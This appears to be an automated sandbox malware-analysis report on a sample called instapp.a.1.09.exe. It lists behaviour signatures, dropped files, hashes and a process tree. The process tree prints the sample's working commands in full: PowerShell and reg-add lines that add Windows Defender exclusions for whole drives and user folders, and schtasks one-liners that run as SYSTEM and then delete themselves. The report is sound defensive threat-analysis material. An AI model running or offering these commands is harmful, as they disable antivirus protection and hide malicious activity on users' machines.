Analysis

  • max time kernel
    151s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/09/2026, 14:34

General

  • Target
    instapp.a.1.09.exe
  • Size 36.4MB
  • Sample260926-rxmybsty7j
  • SHA256 cdb2c840ffd48c883ba6c37e88869554c8ec70f448f2209435fb26cf9f7cbbb5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\instapp.a.1.09.exe
    "C:\Users\Admin\AppData\Local\Temp\instapp.a.1.09.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:5372
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2828
    • C:\Users\Public\bUbGgq\HUANHc.exe
      "C:\Users\Public\bUbGgq\HUANHc.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        PID:5084
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bUbGgq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4288
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bUbGgq\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3672
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:5648
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:3544
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:4472
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4628
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4372
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5580
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:5148
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3804
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:2568
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3336
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:1352
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4552
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:2120
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4696
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1836
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:1368
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:1108
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:5388
                        • C:\Users\Public\bUbGgq\HUANHc.exe
                          "C:\Users\Public\bUbGgq\HUANHc.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:3688
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bUbGgq" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2816
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bUbGgq" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3452
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5232
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4260
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2876

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 5fb47876a0188bc5a4d3b430150511ebc41a471b2dabc74f305f4b213a65f178
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 c0dbb2eced8a40d66480bd877211b2ea4b89e8e5b61546a6078bd358d72af2c9
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 c0a96e2f55b30ff603b7841c36b08e098ee8b77977abf75d00a7c719b28d6e1d
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 5c657a733aaa122a8ce40f493449c1c8fed4c03ca7d4856b9ddf9bb6370a982e
                                • MD5 SHA1 SHA512 TLSH

                                HUANHc.exe

                                • Path C:\Users\Public\bUbGgq\HUANHc.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\bUbGgq\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 ca5f19deaaeb8662b62950dccde10a0e3171fa56718ea08710fa91a1673b8b18
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\bUbGgq\adoresd.dat
                                • Size 4.7MB
                                • SHA256 cc4cf541db59a45adee280dd89e85827cae1a097645a26506511fc94084b0ecf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\bUbGgq\msadox.tb
                                • Size 8KB
                                • SHA256 fd9dcf3e3364d0cb45fab1724e72de3c807bd890a3b91442046f000712fa8e87
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/3532-561-0x00000228A9260000-0x00000228A92EA000-memory.dmp

                                memory/3532-567-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-531-0x00007FFA5A090000-0x00007FFA5A092000-memory.dmp

                                memory/3532-537-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-539-0x00007FFA5A0A0000-0x00007FFA5A0A2000-memory.dmp

                                memory/3532-540-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-544-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-545-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-546-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-547-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-551-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-560-0x00000228A9260000-0x00000228A92EA000-memory.dmp

                                memory/3532-557-0x00000228A79D0000-0x00000228A7A1E000-memory.dmp

                                memory/3532-562-0x00000228A9260000-0x00000228A92EA000-memory.dmp

                                memory/3532-566-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-559-0x00000228A9260000-0x00000228A92EA000-memory.dmp

                                memory/3532-564-0x00000228A9DE0000-0x00000228AA667000-memory.dmp

                                memory/3532-532-0x00007FFA374D0000-0x00007FFA379EE000-memory.dmp

                                memory/3688-590-0x000001C7E7AE0000-0x000001C7E8367000-memory.dmp

                                memory/3688-589-0x000001C7E7AE0000-0x000001C7E8367000-memory.dmp

                                memory/3688-592-0x00007FFA5A090000-0x00007FFA5A092000-memory.dmp

                                memory/3688-591-0x000001C7E7AE0000-0x000001C7E8367000-memory.dmp

                                memory/3688-583-0x00007FFA5A0A0000-0x00007FFA5A0A2000-memory.dmp

                                memory/3688-578-0x00007FFA374D0000-0x00007FFA379EE000-memory.dmp

                                memory/3688-581-0x000001C7E7AE0000-0x000001C7E8367000-memory.dmp

                                memory/3688-584-0x000001C7E7AE0000-0x000001C7E8367000-memory.dmp

                                memory/3688-588-0x000001C7E7AE0000-0x000001C7E8367000-memory.dmp

                                memory/5084-602-0x000001BA50630000-0x000001BA50652000-memory.dmp

                                memory/5084-606-0x000001BA68C40000-0x000001BA68C5E000-memory.dmp

                                memory/5084-607-0x000001BA68C60000-0x000001BA68D12000-memory.dmp

                                memory/5084-608-0x000001BA68D20000-0x000001BA68D2A000-memory.dmp

                                memory/5372-526-0x00007FFA51720000-0x00007FFA51732000-memory.dmp

                                memory/5372-1-0x00000000044E0000-0x00000000044EC000-memory.dmp

                                memory/5372-503-0x00007FFA51720000-0x00007FFA51732000-memory.dmp

                                memory/5372-0-0x0000000002900000-0x000000000290E000-memory.dmp

                                memory/5372-525-0x0000000002900000-0x000000000290E000-memory.dmp